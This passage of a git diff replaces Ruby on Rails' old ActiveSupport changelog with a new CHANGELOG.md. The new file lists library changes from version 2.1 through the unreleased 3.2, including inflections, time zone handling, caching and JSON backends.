- class_inheritable_hash :read_and_update_me
- end
-
- # Bar gets a clone of (not a reference to) Foo's attributes.
- class Bar < Foo
- end
-
- Bar.read_and_write_me == Foo.read_and_write_me
- Bar.read_and_write_me = 'bar'
- Bar.read_and_write_me != Foo.read_and_write_me
-
-* Added Inflections as an extension on String, so Inflector.pluralize(Inflector.classify(name)) becomes name.classify.pluralize #476 [Jeremy Kemper]
-
-* Added Byte operations to Numeric, so 5.5.megabytes + 200.kilobytes #461 [Marcel Molina Jr.]
-
-* Fixed that Dependencies.reload can't load the same file twice #420 [Kent Sibilev]
-
-* Added Fixnum#ago/until, Fixnum#since/from_now #450 [Jeremy Kemper]
-
-* Added that Inflector now accepts Symbols and Classes by calling .to_s on the word supplied
-
-* Added time unit extensions to Fixnum that'll return the period in seconds, like 2.days + 4.hours.
diff --git a/activesupport/CHANGELOG.md b/activesupport/CHANGELOG.md
new file mode 100644
index 0000000000..be829222ff
--- /dev/null
+++ b/activesupport/CHANGELOG.md
@@ -0,0 +1,1581 @@
+## Rails 3.2.0 (unreleased) ##
+
+* Module#synchronize is deprecated with no replacement. Please use `monitor`
+ from ruby's standard library.
+
+* (Date|DateTime|Time)#beginning_of_week accept an optional argument to
+ be able to set the day at which weeks are assumed to start.
+
+* Deprecated ActiveSupport::MessageEncryptor#encrypt and decrypt. *José Valim*
+
+* ActiveSupport::Notifications.subscribed provides subscriptions to events while a block runs. *fxn*
+
+* Module#qualified_const_(defined?|get|set) are analogous to the corresponding methods
+ in the standard API, but accept qualified constant names. *fxn*
+
+* Added inflection #deconstantize which complements #demodulize. This inflection
+ removes the righmost segment in a qualified constant name. *fxn*
+
+* Added ActiveSupport:TaggedLogging that can wrap any standard Logger class to provide tagging capabilities *DHH*
+
+ Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+ Logger.tagged("BCX") { Logger.info "Stuff" } # Logs "[BCX] Stuff"
+ Logger.tagged("BCX", "Jason") { Logger.info "Stuff" } # Logs "[BCX] [Jason] Stuff"
+ Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
+
+* Added safe_constantize that constantizes a string but returns nil instead of an exception if the constant (or part of it) does not exist *Ryan Oblak*
+
+* ActiveSupport::OrderedHash is now marked as extractable when using Array#extract_options! *Prem Sichanugrist*
+
+* Added Array#prepend as an alias for Array#unshift and Array#append as an alias for Array#<< *DHH*
+
+* The definition of blank string for Ruby 1.9 has been extended to Unicode whitespace.
+ Also, in 1.8 the ideographic space U+3000 is considered to be whitespace. *Akira Matsuda, Damien Mathieu*
+
+* The inflector understands acronyms. *dlee*
+
+* Deprecated ActiveSupport::Memoizable in favor of Ruby memoization pattern *José Valim*
+
+* Added Time#all_day/week/quarter/year as a way of generating ranges (example: Event.where(created_at: Time.now.all_week)) *DHH*
+
+* Added instance_accessor: false as an option to Class#cattr_accessor and friends *DHH*
+
+* Removed ActiveSupport::SecureRandom in favor of SecureRandom from the standard library *Jon Leighton*
+
+* ActiveSupport::OrderedHash now has different behavior for #each and
+ \#each_pair when given a block accepting its parameters with a splat. *Andrew Radev*
+
+## Rails 3.1.0 (August 30, 2011) ##
+
+* ActiveSupport::Dependencies#load and ActiveSupport::Dependencies#require now
+ return the value from `super` *Aaron Patterson*
+
+* Fixed ActiveSupport::Gzip to work properly in Ruby 1.8 *Guillermo Iguaran*
+
+* Kernel.require_library_or_gem was deprecated and will be removed in Rails 3.2.0 *Josh Kalderimis*
+
+* ActiveSupport::Duration#duplicable? was fixed for Ruby 1.8 *thedarkone*
+
+* ActiveSupport::BufferedLogger set log encoding to BINARY, but still use text
+ mode to output portable newlines. *fxn*
+
+* ActiveSupport::Dependencies now raises NameError if it finds an existing constant in load_missing_constant. This better reflects the nature of the error which is usually caused by calling constantize on a nested constant. *Andrew White*
+
+* Deprecated ActiveSupport::SecureRandom in favour of SecureRandom from the standard library *Jon Leighton*
+
+* New reporting method Kernel#quietly. *fxn*
+
+* Add String#inquiry as a convenience method for turning a string into a StringInquirer object *DHH*
+
+* Add Object#in? to test if an object is included in another object *Prem Sichanugrist, Brian Morearty, John Reitano*
+
+* LocalCache strategy is now a real middleware class, not an anonymous class
+ posing for pictures.
+
+* ActiveSupport::Dependencies::ClassCache class has been introduced for
+ holding references to reloadable classes.
+
+* ActiveSupport::Dependencies::Reference has been refactored to take direct
+ advantage of the new ClassCache.
+
+* Backports Range#cover? as an alias for Range#include? in Ruby 1.8 *Diego Carrion, fxn*
+
+* Added weeks_ago and prev_week to Date/DateTime/Time. *Rob Zolkos, fxn*
+
+* Added before_remove_const callback to ActiveSupport::Dependencies.remove_unloadable_constants! *Andrew White*
+
+* JSON decoding now uses the multi_json gem which also vendors a json engine called OkJson. The yaml backend has been removed in favor of OkJson as a default engine for 1.8.x, while the built in 1.9.x json implementation will be used by default. *Josh Kalderimis*
+
+
+## Rails 3.0.7 (April 18, 2011) ##
+
+* Hash.from_xml no longer loses attributes on tags containing only whitespace *André Arko*
+
+
+* Rails 3.0.6 (April 5, 2011)
+
+* No changes.
+
+
+## Rails 3.0.5 (February 26, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.4 (February 8, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.3 (November 16, 2010) ##
+
+* No changes.
+
+
+## Rails 3.0.2 (November 15, 2010) ##
+
+* Added before_remove_const callback to ActiveSupport::Dependencies.remove_unloadable_constants! *Andrew White*
+
+
+## Rails 3.0.1 (October 15, 2010) ##
+
+* No Changes, just a version bump.
+
+
+## Rails 3.0.0 (August 29, 2010) ##
+
+* Implemented String#strip_heredoc. *fxn*
+
+* Pluggable cache stores: setting config.cache_store = "custom_store" will require 'active_support/cache/custom_store' and look for the CustomStore constant. #5486 *Mike Perham*
+
+* Removed Object#returning, Object#tap should be used instead. *Santiago Pastorino*
+
+* Deprecation behavior is no longer hardcoded to the name of the environment.
+ Instead, it is set via config.active_support.deprecation and can be one
+ of :log, :stderr or :notify. :notify is a new style that sends the warning
+ via ActiveSupport::Notifications, and is the new default for production
+ *Yehuda Katz*
+
+* Renamed ActiveSupport::Dependecies.load_(once_)paths to autoload_(once_)paths. *fxn*
+
+* Added ActiveSupport::FileUpdateChecker to execute a block only if a set of files changed, used by Router and I18n locale files. *José Valim*
+
+* Added ActiveSupport::DescendantsTracker to track descendants with support to constants reloading. *José Valim*
+
+* ActiveSupport::OrderedHash#merge and #merge! accept a block. #4838 *Paul Mucur, fxn*
+
+* Date#since, #ago, #beginning_of_day, #end_of_day, and #xmlschema honor now the user time zone if set. *Geoff Buesing*
+
+* Extracted String#truncate from TextHelper#truncate *DHH*
+
+* Ruby 1.9: support UTF-8 case folding. #4595 *Norman Clarke*
+
+* Removes Array#rand and backports Array#sample from Ruby 1.9, thanks to Marc-Andre Lafortune. *fxn*
+
+* Ruby 1.9: Renames last_(month|year) to prev_(month|year) in Date and Time. *fxn*
+
+* Aliases Date#sunday to Date#end_of_week. *fxn*
+
+* Backports Date#>> from 1.9 so that calculations do the right thing around the calendar reform. *fxn*
+
+* Date#to_time handles properly years in the range 0..138. *fxn*
+
+* Deprecate {{}} as interpolation syntax for I18n in favor of %{} *José Valim*
+
+* Array#to_xml is more powerful and able to handle the same types as Hash#to_xml #4490 *Neeraj Singh*
+
+* Harmonize the caching API and refactor the backends. #4452 *Brian Durand*
+ All caches:
+ * Add default options to initializer that will be sent to all read, write, fetch, exist?, increment, and decrement
+ * Add support for the :expires_in option to fetch and write for all caches. Cache entries are stored with the create timestamp and a ttl so that expiration can be handled independently of the implementation.
+ * Add support for a :namespace option. This can be used to set a global prefix for cache entries.
+ * Deprecate expand_cache_key on ActiveSupport::Cache and move it to ActionController::Caching and ActionDispatch::Http::Cache since the logic in the method used some Rails specific environment variables and was only used by ActionPack classes. Not very DRY but there didn't seem to be a good shared spot and ActiveSupport really shouldn't be Rails specific.
+ * Add support for :race_condition_ttl to fetch. This setting can prevent race conditions on fetch calls where several processes try to regenerate a recently expired entry at once.
+ * Add support for :compress option to fetch and write which will compress any data over a configurable threshold.
+ * Nil values can now be stored in the cache and are distinct from cache misses for fetch.
+ * Easier API to create new implementations. Just need to implement the methods read_entry, write_entry, and delete_entry instead of overwriting existing methods.
+ * Since all cache implementations support storing objects, update the docs to state that ActiveCache::Cache::Store implementations should store objects. Keys, however, must be strings since some implementations require that.
+ * Increase test coverage.
+ * Document methods which are provided as convenience but which may not be universally available.
+
+ MemoryStore:
+ * MemoryStore can now safely be used as the cache for single server sites.
+ * Make thread safe so that the default cache implementation used by Rails is thread safe. The overhead is minimal and it is still the fastest store available.
+ * Provide :size initialization option indicating the maximum size of the cache in memory (defaults to 32Mb).
+ * Add prune logic that removes the least recently used cache entries to keep the cache size from exceeding the max.
+ * Deprecated SynchronizedMemoryStore since it isn't needed anymore.
+
+ FileStore:
+ * Escape key values so they will work as file names on all file systems, be consistent, and case sensitive
+ * Use a hash algorithm to segment the cache into sub directories so that a large cache doesn't exceed file system limits.
+ * FileStore can be slow so implement the LocalCache strategy to cache reads for the duration of a request.
+ * Add cleanup method to keep the disk from filling up with expired entries.
+ * Fix increment and decrement to use file system locks so they are consistent between processes.
+
+ MemCacheStore:
+ * Support all keys. Previously keys with spaces in them would fail
+ * Deprecate CompressedMemCacheStore since it isn't needed anymore (use :compress => true)
+
+* JSON: encode objects that don't have a native JSON representation using to_hash, if available, instead of instance_values (the old fallback) or to_s (other encoders' default). Encode BigDecimal and Regexp encode as strings to conform with other encoders. Try to transcode non-UTF-8 strings. *Jeremy Kemper*
+
+* HashWithIndifferentAccess: remove inherited symbolize_keys! since its keys are always strings. *Santiago Pastorino*
+
+* Improve transliteration quality. #4374 *Norman Clarke*
+
+* Speed up and add Ruby 1.9 support for ActiveSupport::Multibyte::Chars#tidy_bytes. #4350 *Norman Clarke*
+
+* Reduced load time by deferring configuration of classes using
+ ActiveSupport::on_load(:component_name) *YK*
+
+* Rename #metaclass to #singleton_class now that ruby-core has decided *JK*
+
+* New assertions assert_blank and assert_present. #4299 *Juanjo Bazan*
+
+* Use Object#singleton_class instead of #metaclass. Prefer Ruby's choice. *Jeremy Kemper*
+
+* JSON backend for YAJL. Preferred if available. #2666 *Brian Lopez*
+
+* Introduce class_attribute to declare inheritable class attributes. Writing an attribute on a subclass behaves just like overriding the superclass reader method. Unifies and replaces most usage of cattr_accessor, class_inheritable_attribute, superclass_delegating_attribute, and extlib_inheritable_attribute. *Jeremy Kemper, Yehuda Katz*
+
+* Time#- with a DateTime argument behaves the same as with a Time argument, i.e. returns the difference between self and arg as a Float #3476 *Geoff Buesing*
+
+* YAML serialization for OrderedHash. #3608 *Gregor Schmidt*
+
+* Update bundled TZInfo to v0.3.16 *Geoff Buesing*
+
+* Georgetown TimeZone is now mapped to "America/Guyana" instead of "America/Argentina/San_Juan" #1821 *Geoff Buesing, Reuben Sivan*
+
+* Changed the default ActiveSupport.use_standard_json_time_format from false to true and
+ ActiveSupport.escape_html_entities_in_json from true to false to match previously announced Rails 3 defaults *DHH*
+
+* Added Object#presence that returns the object if it's #present? otherwise returns nil *DHH/Colin Kelley*
+
+* Add Enumerable#exclude? to bring parity to Enumerable#include? and avoid if !x.include?/else calls *DHH*
+
+* Update Edinburgh TimeZone to use "Europe/London" instead of "Europe/Dublin" #3310 *Phil Ross*
+
+* Update bundled TZInfo to v0.3.15 *Geoff Buesing*
+
+* JSON: +Object#to_json+ calls +as_json+ to coerce itself into something natively encodable like +Hash+, +Integer+, or +String+. Override +as_json+ instead of +to_json+ so you're JSON library agnostic. *Jeremy Kemper*
+
+* String #to_time and #to_datetime: handle fractional seconds #864 *Jason Frey*
+
+* Update bundled TZInfo to v0.3.13 *Geoff Buesing*
+
+* Allow MemCacheStore to be initialized with a MemCache-like object instead of addresses and options *Bryan Helmkamp*
+
+* Change spelling of Kyev timezone to Kyiv #2613 *Alexander Dymo*
+
+* Add ActiveSupport.parse_json_times to disable time parsing in JSON backends that don't support it or don't need it. *rick*
+
+* Add pluggable JSON backends with support for the JSON gem. *rick*
+ Example: ActiveSupport::JSON.backend = "JSONGem"
+
+ All internal Rails JSON encoding is now handled by ActiveSupport::JSON.encode(). Use of #to_json is not recommended, as it may clash with other libraries that overwrite it. However, you can recover Rails specific functionality
+ if you really want to use #to_json.
+
+ gem 'json'
+ ActiveSupport::JSON.backend = "JSONGem"
+
+ class ActiveRecord::Base
+ alias to_json rails_to_json
+ end
+
+* require 'active_support' no longer orders the whole menu of core extensions. Ask for just what you need: e.g. require 'active_support/core/time' to use timezones, durations, and stdlib date/time extensions. *Jeremy Kemper*
+
+* Removed rarely-used DRb cache store. *Jeremy Kemper*
+
+* TimeWithZone.name returns 'Time', to further thwart type checking *Geoff Buesing*
+
+* Time.local instances: Adding 24.hours across the DST boundary adds 24 hours instead of one day #2066 *Michael Curtis*
+
+
+## 2.3.2 Final (March 15, 2009) ##
+
+* XmlMini supports LibXML and Nokogiri backends. #2084, #2190 *Bart ten Brinke, Aaron Patterson*
+ Example: XmlMini.backend = 'Nokogiri'
+
+* Vendorize i18n 0.1.3 gem (fixes issues with incompatible character encodings in Ruby 1.9) #2038 *Akira Matsuda*
+
+* Update bundled memcache-client from 1.5.0.5 to 1.6.4.99. See http://www.mikeperham.com/2009/02/15/memcache-client-performance/ *Mike Perham*
+
+* Ruby 1.9.1p0 fix: URI.unescape can decode multibyte chars. #2033 *MOROHASHI Kyosuke*
+
+* Time#to_s(:rfc822) uses #formatted_offset instead of unreliable and non-standard %z directive #1899 *Zachary Zolton*
+
+* Make TimeWithZone#to_formatted_s an alias to TimeWithZone#to_s #1796 *Levin Alexander*
+
+* Introduce Array.wrap(foo) to wrap the argument in an array unless it's already an array. Wraps nil as an empty array. Use instead of Array(foo) and foo.to_a since they treat String as Enumerable. *Jeremy Kemper*
+
+* TimeWithZone#xmlschema accepts optional fraction_digits argument [#1725 state:resolved] *Nicholas Dainty*
+
+* Object#tap shim for Ruby < 1.8.7. Similar to Object#returning, tap yields self then returns self. *Jeremy Kemper*
+ array.select { ... }.tap(&:inspect).map { ... }
+
+* TimeWithZone#- gives correct result with wrapped DateTime, and with DateTime argument *Geoff Buesing*
+
+* Updated i18n gem to version 0.1.1 #1635 *Yaroslav Markin*
+
+* Add :allow_nil option to delegate. #1127 *Sergio Gil*
+
+* Add Benchmark.ms convenience method to benchmark realtime in milliseconds. *Jeremy Kemper*
+
+* Updated included memcache-client to the 1.5.0.5 version which includes fixes from fiveruns and 37signals to deal with failover and timeouts #1535 *Joshua Sierles*
+
+* Multibyte: add multibyte-safe Chars#ord rather than falling back to String#ord. #1483 *Jason Cheow*
+
+* I18n support for Array#to_sentence. Introduces support.array.words_connector, .two_words_connector, and .last_word_connector translation keys. #1397 *Akira Matsuda*
+
+* Added ActiveSupport::OrderedHash#each_key and ActiveSupport::OrderedHash#each_value #1410 *Christoffer Sawicki*
+
+* Added ActiveSupport::MessageVerifier and MessageEncryptor to aid users who need to store signed and/or encrypted messages. *Michael Koziarski*
+
+* Added ActiveSupport::BacktraceCleaner to cut down on backtrace noise according to filters and silencers *David Heinemeier Hansson*
+
+* Added Object#try. ( Taken from http://ozmm.org/posts/try.html ) *Chris Wanstrath*
+
+* Added Enumerable#none? to check that none of the elements match the block #1408 *Damian Janowski*
+
+* TimeZone offset tests: use current_period, to ensure TimeZone#utc_offset is up-to-date *Geoff Buesing*
+
+* Update bundled TZInfo to 0.3.12 *Geoff Buesing*
+
+* Added lambda merging to OptionMerger (especially useful with named_scope and with_options) #726 *Paweł Kondzior*
+
+
+## 2.2.1 RC2 (November 14th, 2008) ##
+
+* Increment the version of our altered memcache-client to prevent confusion caused when the 1.5.0 gem is installed.
+
+* Fixed the option merging in Array#to_xml #1126 *Rudolf Gavlas*
+
+* Make I18n::Backend::Simple reload its translations in development mode *David Heinemeier Hansson/Sven Fuchs*
+
+
+## 2.2.0 RC1 (October 24th, 2008) ##
+
+* TimeWithZone#freeze: preload instance variables so that we can actually freeze *Geoff Buesing*
+
+* Fix Brasilia timezone #1180 *Marcus Derencius, Kane*
+
+* Time#advance recognizes fractional days and weeks. Deprecate Durations of fractional months and years #970 *Tom Lea*
+
+* Add ActiveSupport::Rescuable module abstracting ActionController::Base rescue_from features. *Norbert Crombach, Pratik Naik*
+
+* Switch from String#chars to String#mb_chars for the unicode proxy. *Manfred Stienstra*
+
+ This helps with 1.8.7 compatibility and also improves performance for some operations by reducing indirection.
+
+* TimeWithZone #wday, #yday and #to_date avoid trip through #method_missing *Geoff Buesing*
+
+* Added Time, Date, DateTime and TimeWithZone #past?, #future? and #today? #720 *Clemens Kofler, Geoff Buesing*
+
+* Fixed Sri Jayawardenepura time zone to map to Asia/Colombo *Jamis Buck*
+
+* Added Inflector#parameterize for easy slug generation ("Donald E. Knuth".parameterize => "donald-e-knuth") #713 *Matt Darby*
+
+* Changed cache benchmarking to be reported in milliseconds *David Heinemeier Hansson*
+
+* Fix Ruby's Time marshaling bug in pre-1.9 versions of Ruby: utc instances are now correctly unmarshaled with a utc zone instead of the system local zone [#900 state:resolved] *Luca Guidi, Geoff Buesing*
+
+* Add Array#in_groups which splits or iterates over the array in specified number of groups. #579. [Adrian Mugnolo] Example:
+
+ a = (1..10).to_a
+ a.in_groups(3) # => [[1, 2, 3, 4], [5, 6, 7, nil], [8, 9, 10, nil]]
+ a.in_groups(3, false) # => [[1, 2, 3, 4], [5, 6, 7], [8, 9, 10]]
+
+* Fix TimeWithZone unmarshaling: coerce unmarshaled Time instances to utc, because Ruby's marshaling of Time instances doesn't respect the zone *Geoff Buesing*
+
+* Added Memoizable mixin for caching simple lazy loaded attributes *Josh Peek*
+
+* Move the test related core_ext stuff out of core_ext so it's only loaded by the test helpers. *Michael Koziarski*
+
+* Add Inflection rules for String#humanize. #535 *Dan Manges*
+
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.human(/_cnt$/i, '\1_count')
+ end
+
+ 'jargon_cnt'.humanize # => 'Jargon count'
+
+* TimeWithZone: when crossing DST boundary, treat Durations of days, months or years as variable-length, and all other values as absolute length. A time + 24.hours will advance exactly 24 hours, but a time + 1.day will advance 23-25 hours, depending on the day. Ensure consistent behavior across all advancing methods *Geoff Buesing*
+
+* Added TimeZone #=~, to support matching zones by regex in time_zone_select. #195 *Ernie Miller*
+
+* Added Array#second through Array#fifth as aliases for Array#[1] through Array#[4] + Array#forty_two as alias for Array[41] *David Heinemeier Hansson*
+
+* Added test/do declaration style testing to ActiveSupport::TestCase *DHH via Jay Fields*
+
+* Added Object#present? which is equivalent to !Object#blank? *David Heinemeier Hansson*
+
+* Added Enumberable#many? to encapsulate collection.size > 1 *David Heinemeier Hansson/Damian Janowski*
+
+* Add more standard Hash methods to ActiveSupport::OrderedHash *Steve Purcell*
+
+* Namespace Inflector, Dependencies, OrderedOptions, and TimeZone under ActiveSupport *Josh Peek*
+
+* Added StringInquirer for doing things like StringInquirer.new("production").production? # => true and StringInquirer.new("production").development? # => false *David Heinemeier Hansson*
+
+* Fixed Date#end_of_quarter to not blow up on May 31st [#289 state:resolved] (Danger)
+
+
+## 2.1.0 (May 31st, 2008) ##
+
+* TimeZone#to_s shows offset as GMT instead of UTC, because GMT will be more familiar to end users (see time zone selects used by Windows OS, google.com and yahoo.com.) Reverts [8370] *Geoff Buesing*
+
+* Hash.from_xml: datetime xml types overflow to Ruby DateTime class when out of range of Time. Adding tests for utc offsets *Geoff Buesing*
+
+* TimeWithZone #+ and #- : ensure overflow to DateTime with Numeric arg *Geoff Buesing*
+
+* Time#to_json: don't convert to utc before encoding. References #175 *Geoff Buesing*
+
+* Remove unused JSON::RESERVED_WORDS, JSON.valid_identifier? and JSON.reserved_word? methods. Resolves #164. *Cheah Chu Yeow*
+
+* Adding Date.current, which returns Time.zone.today if config.time_zone is set; otherwise returns Date.today *Geoff Buesing*
+
+* TimeWithZone: date part getter methods (#year #mon #day etc) are defined on class; no longer relying on method_missing *Geoff Buesing*
+
+* Time.zone.parse return nil for strings with no date information *Geoff Buesing*
+
+* Time.zone.parse respects offset information in string. Resolves #105. *Scott Fleckenstein, Geoff Buesing*
+
+* Added Ruby 1.8 implementation of Process.daemon
+
+* Duration #since and #ago with no argument (e.g., 5.days.ago) return TimeWithZone when config.time_zone is set. Introducing Time.current, which returns Time.zone.now if config.time_zone is set, otherwise just returns Time.now *Geoff Buesing*
+
+* Time#since behaves correctly when passed a Duration. Closes #11527 *kemiller*
+
+* Add #getutc alias for DateTime#utc *Geoff Buesing*
+
+* Refactor TimeWithZone: don't send #since, #ago, #+, #-, #advance through method_missing *Geoff Buesing*
+
+* TimeWithZone respects config.active_support.use_standard_json_time_format *Geoff Buesing*
+
+* Add config.active_support.escape_html_entities_in_json to allow disabling of html entity escaping. *Rick Olson*
+
+* Improve documentation. *Xavier Noria*
+
+* Modified ActiveSupport::Callbacks::Callback#call to accept multiple arguments.
+
+* Time #yesterday and #tomorrow behave correctly crossing DST boundary. Closes #7399 *sblackstone*
+
+* TimeWithZone: Adding tests for dst and leap day edge cases when advancing time *Geoff Buesing*
+
+* TimeWithZone#method_missing: send to utc to advance with dst correctness, otherwise send to time. Adding tests for time calculations methods *Geoff Buesing*
+
+* Add config.active_support.use_standard_json_time_format setting so that Times and Dates export to ISO 8601 dates. *Rick Olson*
+
+* TZInfo: Removing unneeded TimezoneProxy class *Geoff Buesing*
+
+* TZInfo: Removing unneeded TimezoneIndexDefinition, since we're not including Indexes::Timezones *Geoff Buesing*
+
+* Removing unnecessary uses_tzinfo helper from tests, given that TZInfo is now bundled *Geoff Buesing*
+
+* Bundling abbreviated version of TZInfo gem 0.3.8: only the classes and zone definitions required to support Rails time zone features are included. If a recent version of the full TZInfo gem is installed, this will take precedence over the bundled version *Geoff Buesing*
+
+* TimeWithZone#marshal_load does zone lookup via Time.get_zone, so that tzinfo/Olson identifiers are handled *Geoff Buesing*
+
+* Time.zone= accepts TZInfo::Timezone instances and Olson identifiers; wraps result in TimeZone instance *Geoff Buesing*
+
+* TimeWithZone time conversions don't need to be wrapped in TimeOrDateTime, because TZInfo does this internally *Geoff Buesing*
+
+* TimeWithZone#usec returns 0 instead of error when DateTime is wrapped *Geoff Buesing*
+
+* Improve documentation. *Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert*
+
+* Ensure that TimeWithZone#to_yaml works when passed a YAML::Emitter. *Rick Olson*
+
+* Ensure correct TimeWithZone#to_date *Geoff Buesing*
+
+* Make TimeWithZone work with tzinfo 0.2.x: use TZInfo::Timezone#zone_identifier alias for #abbreviation, silence warnings on tests. Raise LoadError when TZInfo version is < 0.2 by sniffing for TZInfo::TimeOrDateTime constant. Move all tzinfo-dependent TimeZone tests into uses_tzinfo block *Geoff Buesing*
+
+* Time, DateTime and TimeWithZone #in_time_zone defaults to Time.zone. Removing now unneeded #in_current_time_zone *Geoff Buesing*
+
+* TZInfo caches Timezone instances in its own internal hash cache, so TimeZone::MAPPING doesn't need to cache them as well *Geoff Buesing*
+
+* Adding TimeZone#parse *Geoff Buesing*
+
+* Adding TimeZone#at and DateTime#to_f *Geoff Buesing*
+
+* TimeWithZone responds to Ruby 1.9 weekday-named query methods *Geoff Buesing*
+
+* TimeWithZone caches TZInfo::TimezonePeriod used for time conversion so that it can be reused, and enforces DST rules correctly when instance is created from a local time *Geoff Buesing*
+
+* Fixed that BufferedLogger should create its own directory if one doesn't already exist #11285 *lotswholetime*
+
+* Fix Numeric time tests broken by DST change by anchoring them to fixed times instead of Time.now. Anchor TimeZone#now DST test to time specified with Time.at instead of Time.local to work around platform differences with Time.local and DST representation *Geoff Buesing*
+
+* Removing unneeded #change_time_zone method from Time, DateTime and TimeWithZone *Geoff Buesing*
+
+* TimeZone #local and #now correctly enforce DST rules *Geoff Buesing*
+
+* TimeWithZone instances correctly enforce DST rules. Adding TimeZone#period_for_utc *Geoff Buesing*
+
+* test_time_with_datetime_fallback expects DateTime.local_offset instead of DateTime.now.offset *Geoff Buesing*
+
+* Adding TimeWithZone #marshal_dump and #marshal_load *Geoff Buesing*
+
+* Add OrderedHash#to_hash *Josh Peek*
+
+* Adding Time#end_of_day, _quarter, _week, and _year. #9312 *Juanjo Bazan, Tarmo Tänav, BigTitus*
+
+* Adding TimeWithZone#between? *Geoff Buesing*
+
+* Time.=== returns true for TimeWithZone instances *Geoff Buesing*
+
+* TimeWithZone #+ and #- behave consistently with numeric arguments regardless of whether wrapped time is a Time or DateTime; consistenty answers false to #acts_like?(:date) *Geoff Buesing*
+
+* Add String#squish and String#squish! to remove consecutive chunks of whitespace. #11123 *Jordi Bunster, Henrik N*
+
+* Serialize BigDecimals as Floats when using to_yaml. #8746 *Ernesto Jimenez*
+
+* Adding TimeWithZone #to_yaml, #to_datetime, #eql? and method aliases for duck-typing compatibility with Time *Geoff Buesing*
+
+* TimeWithZone #in_time_zone returns +self+ if zone argument is the same as #time_zone *Geoff Buesing*
+
+* Adding TimeWithZone #to_a, #to_f, #to_i, #httpdate, #rfc2822 *Geoff Buesing*
+
+* Pruning unneeded TimeWithZone#change_time_zone_to_current *Geoff Buesing*
+
+* Time#zone=, #in_time_zone and #change_time_zone accept a Duration *Geoff Buesing*
+
+* Time#in_time_zone handles Time.local instances correctly *Geoff Buesing*
+
+* Pruning unneeded Time#change_time_zone_to_current. Enhanced docs to #change_time_zone to explain the difference between this method and #in_time_zone *Geoff Buesing*
+
+* TimeZone#new method renamed #local; when used with Time.zone, constructor now reads: Time.zone.local() *Geoff Buesing*
+
+* Added Base64.encode64s to encode values in base64 without the newlines. This makes the values immediately usable as URL parameters or memcache keys without further processing *David Heinemeier Hansson*
+
+* Remove :nodoc: entries around the ActiveSupport test/unit assertions. #10946 *dancroak, jamesh*
+
+* Add Time.zone_default accessor for setting the default time zone. Rails::Configuration.time_zone sets this. #10982 *Geoff Buesing*
+
+* cache.fetch(key, :force => true) to force a cache miss. *Jeremy Kemper*
+
+* Support retrieving TimeZones with a Duration. TimeZone[-28800] == TimeZone[-480.minutes]. *Rick Olson*
+
+* TimeWithZone#- added, so that #- can handle a Time or TimeWithZone argument correctly *Geoff Buesing*
+
+* with_timezone test helper renamed with_env_tz, to distinguish between setting ENV['TZ'] and setting Time.zone in tests *Geoff Buesing*
+
+* Time#- coerces TimeWithZone argument to a Time instance so that difference in seconds can be calculated. Closes #10914 *Geoff Buesing, yyyc514*
+
+* Adding UTC zone to TimeZone; TimeWithZone no longer has to fake UTC zone with nil *Geoff Buesing*
+
+* Time.get_zone refactored to private method, given that the encapsulated logic is only useful internally *Geoff Buesing*
+
+* Time.zone uses thread-local variable for thread safety. Adding Time.use_zone, for overriding Time.zone locally inside a block. Removing unneeded Time.zone_reset! *Geoff Buesing*
+
+* TimeZone#to_s uses UTC rather than GMT; reapplying change that was undone in [8679]. #1689 *Cheah Chu Yeow*
+
+* Time.days_in_month defaults to current year if no year is supplied as argument #10799 [Radar], uses Date.gregorian_leap? to determine leap year, and uses constant lookup to determine days in month *Geoff Buesing*
+
+* Adding Time and DateTime #compare_with_coercion, which layers behavior on #<=> so that any combination of Time, DateTime and ActiveSupport::TimeWithZone instances can be chronologically compared *Geoff Buesing*
+
+* TimeZone#now returns an ActiveSupport::TimeWithZone *Geoff Buesing*
+
+* Time #in_current_time_zone and #change_time_zone_to_current return self when Time.zone is nil *Geoff Buesing*
+
+* Remove unneeded #to_datetime_default_s alias for DateTime#to_s, given that we inherit a #to_default_s from Date that does exactly the same thing *Geoff Buesing*
+
+* Refactor Time and DateTime #to_formatted_s: use ternary instead of nested if/else *Geoff Buesing*
+
+* Adding Time and DateTime #formatted_offset, for outputting +HH:MM utc offset strings with cross-platform consistency *Geoff Buesing*
+
+* Adding alternate_utc_string option to TimeZone#formatted_offset. Removing unneeded TimeZone#offset. *Geoff Buesing*
+
+* Introduce ActiveSupport::TimeWithZone, for wrapping Time instances with a TimeZone. Introduce instance methods to Time for creating TimeWithZone instances, and class methods for managing a global time zone. *Geoff Buesing*
+
+* Replace non-dst-aware TimeZone class with dst-aware class from tzinfo_timezone plugin. TimeZone#adjust and #unadjust are no longer available; tzinfo gem must now be present in order to perform time zone calculations, via #local_to_utc and #utc_to_local methods. *Geoff Buesing*
+
+* Extract ActiveSupport::Callbacks from Active Record, test case setup and teardown, and ActionController::Dispatcher. #10727 *Josh Peek*
+
+* Introducing DateTime #utc, #utc? and #utc_offset, for duck-typing compatibility with Time. Closes #10002 *Geoff Buesing*
+
+* Time#to_json uses Numeric#to_utc_offset_s to output a cross-platform-consistent representation without having to convert to DateTime. References #9750 *Geoff Buesing*
+
+* Refactor number-to-HH:MM-string conversion logic from TimeZone#formatted_offset to a reusable Numeric#to_utc_offset_s method. *Geoff Buesing*
+
+* Continue evolution toward ActiveSupport::TestCase. #10679 *Josh Peek*
+
+* TestCase: introduce declared setup and teardown callbacks. Pass a list of methods and an optional block to call before setup or after teardown. Setup callbacks are run in the order declared; teardown callbacks are run in reverse. *Jeremy Kemper*
+
+* Added ActiveSupport::Gzip.decompress/compress(source) as an easy wrapper for Zlib *Tobias Lütke*
+
+* Included MemCache-Client to make the improved ActiveSupport::Cache::MemCacheStore work out of the box *Bob Cottrell, Eric Hodel*
+
+## Added ActiveSupport::Cache:: framework as an extraction from ActionController::Caching::Fragments:: David Heinemeier Hansson ##
+
+* Fixed String#titleize to work for strings with 's too #10571 *trek*
+
+* Changed the implementation of Enumerable#group_by to use a double array approach instead of a hash such that the insert order is honored *David Heinemeier Hansson/Marcel Molina Jr.*
+
+* remove multiple enumerations from ActiveSupport::JSON#convert_json_to_yaml when dealing with date/time values. *Rick Olson*
+
